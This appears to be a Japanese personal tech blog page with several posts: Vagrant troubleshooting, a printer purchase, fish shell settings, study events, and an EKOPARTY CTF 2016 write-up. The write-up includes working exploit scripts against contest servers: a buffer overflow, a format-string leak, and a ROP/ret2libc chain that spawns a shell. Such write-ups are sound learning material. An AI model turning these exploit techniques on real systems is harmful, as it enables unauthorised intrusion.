ブログの名前なんて適当で良いのでは

説明を求めるな、記事を読め

VagrantのGuest editionのアップデートが失敗した時の対処法

過去に2回ほどvagrantのエラーの対処法について書いてきたが,また突如それは起こった.もう本当に朝からしんどかった.

環境

今回起きたのは/vagrantやVagrantfileで記述した共有ディレクトリが共有できないという問題だった.詳しく原因を探っていくとGuest Edition絡みだとわかった.端的に言うなればguestとhostのバージョンが違うことが原因で起こっていた.そこで,vagrant plugin install vagrant-vbguestによってguest editionのアップデートなどを行ってくれるプラグインを導入する.その後vagrant upしてこれで解決と思いきや,以下のようなエラーが出てしまった.

[default] GuestAdditions versions on your host (5.0.28) and guest (5.0.20) do not match.
Reading package lists...
Building dependency tree...
Reading state information...
dkms is already the newest version (2.2.0.3-2ubuntu11.3).
linux-headers-4.8.0-32-generic is already the newest version (4.8.0-32.34~16.04.1).
0 upgraded, 0 newly installed, 0 to remove and 3 not upgraded.
Copy iso file /Applications/VirtualBox.app/Contents/MacOS/VBoxGuestAdditions.iso into the box /tmp/VBoxGuestAdditions.iso
mount: /dev/loop0 is write-protected, mounting read-only
Installing Virtualbox Guest Additions 5.0.28 - guest version is 5.0.20
Verifying archive integrity... All good.
Uncompressing VirtualBox 5.0.28 Guest Additions for Linux............
VirtualBox Guest Additions installer
Removing installed version 5.0.28 of VirtualBox Guest Additions...
Removing existing VirtualBox DKMS kernel modules ...done.
Removing existing VirtualBox non-DKMS kernel modules ...done.
update-initramfs: Generating /boot/initrd.img-4.4.0-59-generic
update-initramfs: Generating /boot/initrd.img-4.8.0-32-generic
Copying additional installer modules ...
Installing additional modules ...
Removing existing VirtualBox DKMS kernel modules ...done.
Removing existing VirtualBox non-DKMS kernel modules ...done.
Building the VirtualBox Guest Additions kernel modules
The headers for the current running kernel were not found. If the following
module compilation fails then this could be the reason.

Building the main Guest Additions module ...fail!
(Look at /var/log/vboxadd-install.log to find out what went wrong)
Doing non-kernel setup of the Guest Additions ...done.

どうやらGuest Additions moduleのbuildに失敗しているらしい・・・.このような事例でググるとかなり多くの情報が出てきた.(CentOSの内容が多かったけど)

これらに記載されているようなlinux-kernel-headersの更新などをいろいろやってみたが,まったくうまく行かなかった.
そこで思い切ってVirtualBox自体をアップデート(5.0.32に)した. その状態でもう一回,vagrant upすると,無事guest editionのバージョンがマッチして起動,共有することができた.上記のエラー対処の記事などではVirtualBox自体のアップデートをしたほうが良いという記述はおそらくどこにもなく,むしろVirtualBoxのアップデートは地雷みたいな雰囲気があったので,同じようなことで解決出来ない人がいたら思い切ってVirtualBoxをアップデートするということを試してみるのも良いかもしれない.

プリンタを買い替えた

少しまとまったお金が手に入ったので,買い換えようと思っていたプリンタを買いました.(12月30日の話)

今までは,EPSONのPX-046Aを使っていました.かれこれ3年ぐらい使っていたと思います.

www.epson.jp

今回買い換えようと思った理由は,自分の部屋にあるプリンタが邪魔だから,リビングにプリンタを移そうと思った時,無線で使えるプリンタに変える必要がでてきたからです.今は,無線LANルータに繋げてプリンタを無線で使えるプリンタを実現しています.無線ルータまでは,リビングに移したくなかったので,プリンタだけで無線が受信できるものでなくてはいけなくなりました.

そこで,プリンタ自体で無線が使えるやつを探しに地元の某電気屋さん(歩いて5分)に探しに行きました.

今までずっとEPSONを使っていたので,今回もEPSONのを買おうと思っていました.今持っているプリンタとくらべて欲しい要件をリストアップするとこんな感じでした.

  • 印刷,コピー,スキャンが使える
  • プリンタ本体で無線を使える(今回のいちばん重要な評価項目)
  • 四色の独立インク

これらの要件に見合うようなプリンタを探してうろちょろしていると,EPSONの社員さんに捕まってしまい,この要件を話していると違う会社だけれど良いプリンタがあると言われて,紹介されたのがbrotherのプリンタでした.正直,プリンター業界はEPSONCanonの2強なイメージだったので,brotherのプリンタは新鮮でした.

www.brother.co.jp

改めて先程の要件とくらべてみるとこのプリンタはその条件を満たしていることがわかりました.さらにインクの値段もEPSONより安く,前面給紙や両面コピー,印刷,拡大縮小コピー,タッチパネルによる操作など豊富な機能が付いており(前のプリンタにはどれもない機能),とても良い商品で購入を決めました.またEPSONの商品と比べるとインクの入れ替えが前からできるのでとても楽でそこも良いと思いました.
店員さんいわく,brotherの製品は企業などでは多いらしく,ユーザ側のプリンタ販売歴が浅いので,周知させるために豊富な機能を安い値段でつけている,いわば顧客を増やす段階にいるらしいです.だから,こんなに安く豊富な機能がついているんですね.

ここからがこの記事の本題です.

このプリンタの店頭での価格は8,880円(税別)に3%のポイントでした.一応購入前にネットで口コミを見ておこうと思い,某電気屋さんのオンラインサイトで見てみました. そうすると,なんとオンラインサイトでは8,063円(税別)に1%ポイント,送料無料という価格設定でした.あれ・・・なぜ同じ店舗なのにオンラインサイトの方が値段が安いんだ? 両者を,届くまでの日数がかかってしまうという点を除くと後者の方が圧倒的にお得ですね. そこで,店員さんに,「オンラインサイトでこの商品を見て購入しに来たんですが,値段がかなり違っているんですが・・・」と知らないフリをして質問してみました.少しお待ち下さいと言われ,プリンタ前で待機していると,「オンラインサイトと同じ価格でご提供させていだきます」というご返事をいただけました.どうやら,オンラインサイトと店舗では値段が違っていることが多いみたいです.Googleで検索してみるとすごく多くそういう事例が見受けられます.

店舗 オンライン 値段が違う - Google 検索

さらに,brotherはキャッシュバックキャンペーンをやっていて,本商品は1000円戻ってくるとのことでしたので,実際7000円ぐらいでこのプリンターを購入することができました.

電気屋さんの店頭で購入する際は,絶対のその会社のオンラインサイトの値段を確認したほうが良いです.オンラインサイトの方が安ければ,店舗でも同じ値段まで下げてくれるはずです.もし下げてくれなさそうな場合は,「では,ネットで購入します」と言うと,店員さんなどは自分の売上にしたいのか,値段交渉に応じてくれるようになると思います.

Pwnもくもく会#1

東京駅 八重洲北口近くのHUBにて、19時過ぎから、23時過ぎぐらいまで@hhc0null、@hama7230 の三人でPwnもくもく会を行った。

 

この会の目的は、酒を飲みながらPwnをするいう趣旨であったが、「酒飲んで頭が回らない」、HUBにいる女の子から声をかけられてオタクがんばるといったアクシンデントが生じた。(それに便乗してローストビーフは女の子に持っていかれた)。

全体的に、適宜、お酒をお代わりしたり食べ物を注文したり、食事やつまみ、酒などは良いペースだったと思う。

 

肝心なPwnもくもくだが、私は1問常設の問題を解くことができた。他は(ry。

しかし、Pwnやバイナリ解析といった共通話題で楽しく話せたり、知見が深まったのは良い。

 

この会を通じて学んだことは、酒を飲むとやはり人の脳みそは動かなくなるということが1番かもしれない。

 

次回は、お酒の有無、場所等考える必要があるかもしれないが個人的にはHUBで良いのではないかと思う。ぶっちゃけ、"本当にがっつりもくもくする会ではない"(と思っている)ので注意してほしい。

 

ちなみに次いつやるかは未定。

せっかくなら参加者他にもいて良いかな(あまり多すぎるとキツイが)

fishにおけるRUBYLIBの設定に違和感

rubyにおいてrequireを使って自作ライブラリを読み込むために,環境変数のRUBYLIBを使ってパスを追加する時があります.   bashzshではexportコマンドなどで*rcファイルに書けば済むのですが,fishの場合少し謎な挙動をしていたので,備忘録を書いておこうと思います.

通常bashなどでは,

export RUBYLIB=$RUBYLIB:/the/path/you/wanna/add

といったように記述すると思いますが,fishの場合はsetコマンドの-x(exportオプション)を使って設定します.
そこで,以下のように

set -x RUBYLIB /path/path/you/wanna/add $RUBYLIB

設定します.この状態だとfishでは,echo $RUBYLIB[1]で1つ目のパスだけを表示することが出来ます.

しかし,irbでrequireできるかテストをしてみると,requireに失敗します. そこで,まさかと思い,":"でつなげる感じに変えてみました.最初のbashなどと同じような設定になるように繋げてみるということです.

set -x RUBYLIB /the/path/you/wanna/add:$RUBYLIB

これだとecho $RUBYLIB[1]した時に,すべての環境変数入ってしまい$RUBYLIB[2]にアクセスはできないのですが,requireには成功します.

この挙動の違いは何なんでしょうか・・・$PATHなどは,前者のほうで正しく機能しているのですが,RUBYLIBに関しては後者だと動きません.fishというよりもそもそもの環境変数への理解が足りていない気もしますね・・・.

ファジィ学問塾2016に行ってきた

11月26日,27日とファジィ学問塾という合宿形式の勉強会に参加してきました. 研究室の先輩から情報をもらってこの勉強会を知り,楽しそうだなと思って申し込みました.

2016年度(第12回)ファジィ学問塾 | 日本知能情報ファジィ学会

上記のリンク先にあるように,3つの講義とTensorflowを使ったWorkshopの構成でした.講義はどれもとてもわかりやすかったですし,WorkshopもまだTensorflowと使った講義などは受けたことがなかったので楽しかったです. しかし,実際にはこれらだけではなく,3つの中から2つ選ぶという演習課題が設けられていました. 着手できる時間が少なく,睡眠を削って(朝5時に寝た),課題やその発表のためのプレゼン資料などをこなしていました.

演習自体は,ある程度CNNのアーキテクチャとかについて理解してないと辛い感じで,班の人に頼り教えてもらったりしていました. 正直,この演習兼プレゼンがしんどくて,つらかった.けれど,CNNについてより知ることが出来たので,良しとします.

今の気持ちでは,来年もまた参加したいなという感じです.

めっちゃ眠い

EKOPARTY CTF2016 writeupと感想

二日間にかけて参加していました.実は,このEKO PARTYは去年1人で参加していたりしたので,なんとなく懐かしい気持ちもありました.
http://encry1024.hatenablog.com/entry/2015/10/24/091648

実は,縁あってTokyo Westernsの皆さんと参加させていただきました.一応,PwnやRevという立ち位置で参加させていただいたのですが,チーム内最弱なので,なんとか1問解ければいいか(チームの人が強すぎて先越されるという意味もある)と思っていました.

結論から言うと,Pwn25, Pwn100, Rev25, Rev250の合計400点を入れました.チーム総得点は2600の15位でした.後述しますが,Rev250の続きのPwn200が解けなかったのが非常に悔やまれる.以下Writeupです.

JVM(Rev25)

classファイルが渡されるので,jadで以下のようにデコンパイルする.

$ jad EKO.class

生成されたEKO.jadは以下です.

// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: packimports(3)
// Source File Name:   EKO.java


public class EKO
{

    public EKO()
    {
    }

    public static void main(String args[])
    {
        int i = 0;
        for(int j = 0; j < 1337; j++)
            i += j;

        String s = (new StringBuilder()).append("EKO{").append(i).append("}").toString();
    }
}

コードよりiがFLAGになるので真似てsolver書く(書くまでもない)だけです.

Ultrababy(Pwn25)

アセンブルするとOff-By-OneStackBufferOverflowであることがわかり,1byteのBOF含めた値で関数をcallしている.さらにFlagというFLAG出力用関数があるので,その関数の末尾1byteの0xf3を敷き詰めてBOFさせてあげればFlag関数が呼ばれる.

require 'pwnlib.rb'

host = "9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site"
port = 55000

PwnTube.open(host, port) do |tube|
  payload = [0xf3].pack("C") * 0x19
  tube.recv_until("Welcome, give me you best shot\n")
  tube.sendline(payload)
  puts tube.recv_until("\n")
end

My first service I(Pwn100)

FSBがある,スタックにFLAGっぽい文字列がある.見るだけ.

require 'pwnlib.rb'

host = "9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site"
port = 35000

PwnTube.open(host, port) do |t|

=begin
  t.recv_until("key: ")
  t.sendline("AAAA" + "%p "*20) #=> 13
  p t.recv_until("\n")
=end

  8.upto(11) do |x|
    t.recv_until("key: ")
    t.sendline("%#{x}$p")
    print [t.recv_until("\n").match(/: (.+)/)[1].to_i(16)].pack("L*").reverse
  end
  puts ""

end

Fuckzing reverse(Rev250)

  • libget_flag.soがリンクされている
    • get_flag関数があるのでこれを呼べれば勝ち
  • read(0, buf, 0x12c)する
  • 演算処理してだめなら終わりの処理へ飛ばす(je,jne,jleなどなど)

実行しようにもlibget_flag.soがないため実行できない.そこで偽のlibget_flag.soでも用意すれば動くんじゃないかと思い,以下のようなファイルで作成する.

// wei.c
void get_flag() {
  puts("Hello");
}
$ gcc -shared wei.c -fPIC -o libget_flag.so
$ set -x LD_LIBRARY_PATH ./

これをすると動いたので,動的解析可能になった. そこで解析していくと前述したように入力値に対して,演算処理して比較する項目が大量にあった.これは手作業だと面倒だなぁと思い,get_flag関数が呼ばれる少し前を見てみると最後の判定処理して飛ぶ部分が0x4039de,さらに1番最初の判定処理して飛ぶ部分が0x400c36だとわかった.どれぐらい判定処理があるのかobjdumpをgrepしたら相当量あった.そこで手作業はやめangrを使うことに決めた. 方針としては,先程のobjdump&grepの結果から判定処理に使われていそうなジャンプ命令のジャンプ先アドレスに行かないようにPATHを絞ってあげて探索した.  

# coding: utf-8
import angr

p = angr.Project("./FUck_binary")
avoid_list = (0x4051b2,0x405176,0x40513a,0x4050fe,0x4050c2,0x405086,0x40504a,0x40500e,0x404fd2,0x404f96,0x404f5a,0x404f1e,0x404ee2,0x404ea6,0x404e6a,0x404e2e,0x404df2,0x404db6,0x404d7a,0x404d3e,0x404d02,0x404cc6,0x404c8a,0x404c4e,0x404c12,0x404bd6,0x404b9a,0x404b5e,0x404b22,0x404ae6,0x404aaa,0x404a6e,0x404a32,0x4049f6,0x4049ba,0x40497e,0x404942,0x404906,0x4048ca,0x40488e,0x404852,0x404816,0x4047da,0x40479e,0x404762,0x404726,0x4046ea,0x4046ae,0x404672,0x404636,0x4045fa,0x4045be,0x404582,0x404546,0x40450a,0x4044ce,0x404492,0x404456,0x40441a,0x4043de,0x4043a2,0x404366,0x40432a,0x4042ee,0x4042b2,0x404276,0x40423a,0x4041fe,0x4041c2,0x404186,0x40414a,0x40410e,0x4040d2,0x404096,0x40405a,0x40401e,0x403fe2,0x403fa6,0x403f6a,0x403f2e,0x403ef2,0x403eb6,0x403e7a,0x403e3e,0x403e02,0x403dc6,0x403d8a,0x403d4e,0x403d12,0x403cd6,0x403c9a,0x403c5e,0x403c22,0x403be6,0x403baa,0x403b6e,0x403b32,0x403af6,0x403aba,0x403a7e)

addr_main = p.loader.main_bin.get_symbol('main').addr
initial_state = p.factory.blank_state(addr=addr_main)
initial_path = p.factory.path(initial_state)
pg = p.factory.path_group(initial_path)
e = pg.explore(find=0x4039e4, avoid=avoid_list)

if len(e.found) > 0:
    print 'Dump stdin at called get_flag():'
    s = e.found[0].state
    f = open("input", "wb")
    f.write(s.posix.dumps(0))

少し待つとinputにいろいろ値が入ったので,以下のように流し込んだ.

vagrant@alice1000:~/c/e/Fuckzing_reverse$ cat input | ./FUck_binary                                                                                                          ASLR: ON
Hello, what's your team name? Hello
Your flag is Goodbye!fish: Process 23191, “./FUck_binary” “cat input | ./FUck_binary” terminated by signal SIGSEGV (Address boundary error)

この結果より"Hello"が出力されており,get_flag関数が呼ばれていることがわかる.したがって,これをサーバ側に流し込んでFLAGゲット

Fuckzing exploit(Pwn200)

解けなかった問題
Rev250のFLAGを出力した後にmemcpyがあり,__libc_start_mainを上書きし,簡単にripを取ることが出来る.そこでwrite関数でprintfのアドレスをリークして,問題文に描かれているlibcのオフセットを使って,systemと/bin/shのアドレスを求めてret2libcをやったが,ローカルではシェルが取れたものの,リモートではできなかった.そこでone-gadget RCEをやってみたものそれでもうまくいかなかった.この時点で午前3時とかで頭が回らずうなっていたら,申し訳ないことに完全に寝落ちしてしまった. 戒めのためうまく行かなかったexploitを載せておきます.(ソースコードを整え直してないため汚い)

# coding: ascii-8bit
require 'pwnlib.rb'

# libc version: libc6_2.23-0ubuntu3_amd64
printf_plt = p64(0x400930)
write_got = 0x606038
main = 0x400b30


host = "localhost"
port = 8888
$libc_sysmte_offset = 0x46590
$libc_bin_sh_offset = 0x17c8c3

if ARGV[0] == "r"
  host = "7e0a98bb084ec0937553472e7aafcf68ff96baf4.ctf.site"
  port = 10000
  $libc_sysmte_offset = 0x45380
  $libc_bin_sh_offset = 0x18c58b
end


PwnTube.open(host, port) do |t|
  printf_got = 0x606020
  write_got = 0x606038
  key = `cat input`.bytes.pack("C*") # to stdout
  payload = key[0..99]
  payload << "A" * 40
  payload << p64(0x40567a) # pop rbx, rbp, r12, r13, r14, r15
  payload << [0, 1, write_got, 8, printf_got, 1, 0x405660].pack("Q*")
  payload << p64(main)
  t.sendline(payload)
  t.recv_until("!")
  printf = t.recv.unpack("Q")[0].to_i
  p "0x" + printf.to_s(16)
  $libc_base = printf - 0x54340
  $libc_base = printf - 0x00000000000557b0 if ARGV[0] == "r"
  p "0x" + $libc_base.to_s(16)
end

PwnTube.open(host, port) do |t|


  key = `cat input`.bytes.pack("C*") # to stdout
  payload = key[0..99]
  payload << "A" * 40
  payload << p64(0x00405683)
  payload << p64($libc_base + $libc_bin_sh_offset)
  payload << p64($libc_base + $libc_sysmte_offset)
  payload = payload.ljust(0x12c, "\x00")
  t.sendline(payload)
  t.recv_until("!")

  t.shell
end

感想と反省

EKOPARTYは初心者向けと言われていたので,確かに何問か解くことができて楽しかった.急遽チームメイトと遭遇したりして,一緒にやったりするイベントも発生したり面白かった.
Exploitの共有を促されていたのに寝落ちという非常に最悪なことをしてしまったので,つまったらすぐにチームメイトに助けを求めるべきだった.絶対次は気をつけたい.

SECCON2016大阪大会に行ってきた

概要

2016年10月2日に大阪で開催されたSECCON大阪大会もといバイナリ早食い大会に参加してきました!
本大会の内容は,自動化色の強いバイナリ解析大会という感じでした.配布バイナリが1秒や5分などの間隔で更新されるので,関数のアドレスなどが変わってしまいます.そこでangrを用いてこれを自動化してexploitにつなげていく形でした.しかし思っていたよりはexploitはなく,ほぼangr技術大会と言っても過言ではない感じでした.頻繁にバイナリが更新されるという観点から,フラグももちろん違っており,過去最大の問題数となっていたようです.

前日準備

  • Dockerによるangrの環境構築
  • angrの各種読み物を読む

当日のスケジュール

大阪観光欲が強かったので,始発の地下鉄にのり,9:03に新大阪に付く新幹線にのっていきました.この判断は正しくて,行きたかった道頓堀で大会まで観光をすることができました.小学生の頃に一度だけ道頓堀は行っていたらしいですが,そんなもんもちろん覚えてるはずもなく初道頓堀!!という気持ちでした.グリコのあのおっきなポーズや蟹,でっかい餃子,くいだおれ人形等いわゆる道頓堀の名物と言われるようなものの写真を撮ったり,自分の中で大阪の定番だと思っているたこ焼き(昼飯)を食べました.やはり平日ではないので,とても混んでおり賑やかなところも大阪っぽさがあるなぁって思っていました.

12:00から受付開始でしたので,12:00ちょっとぐらいに会場入りして,アメニティグッズや本などをいただきました.会場入りすると,キャンプで見かけた顔や,さらにインターンで同じだった方もいたりしました.(後者はとても驚いた)

コンテスト本番

私達のチームは,今年のセキュキャン全国大会2016に参加したメンバー4人で参戦しました.なので,わりと久しぶりの再開で個人的にはすごく嬉しかったです.チーム名は,「バイナリおいしい」です.
チームメンバーのプロの実装力が圧倒的ですぐさまangrを使いこなしていたのですごいなと思いながら,適宜話し合ったりして,どうすれば良いかとかを一緒に考えたり,作ってくださったスクリプトをチューニングしたり,要するにお茶汲み係をしていました.しかし蓋を開けてみると,3問目の1秒毎にバイナリが変わる問題に対して1番最初に突破したチームで,そこを起点に得点グラフの傾きが大きくなっていきました.

コンテスト結果

優勝した.

懇親会

新幹線の都合があるため,1時間ぐらい懇親会に急遽参加することにした.懇親会では話したことなかった人といっぱい話すことができたので,とても良かった.特にCTF4bの運営さんや多くの企業の大人の方と話せてとても楽しかった.
行きの新幹線で断腸の思いで🍺を我慢していたのだが,懇親会では🍺飲み放題,おつまみ食べ放題で無我夢中になった.

感想

競技自体は目新しくて,新しいことに対する瞬間的な適応能力が低い私にとっては辛かったけれど,純粋に競技を楽しむこともできた.どうやらSECCON決勝の参加券をいただけるらしく,まったく想像していなかった結果になり,驚きながらこの記事を書いている(in 新幹線)

1番辛かった事

Python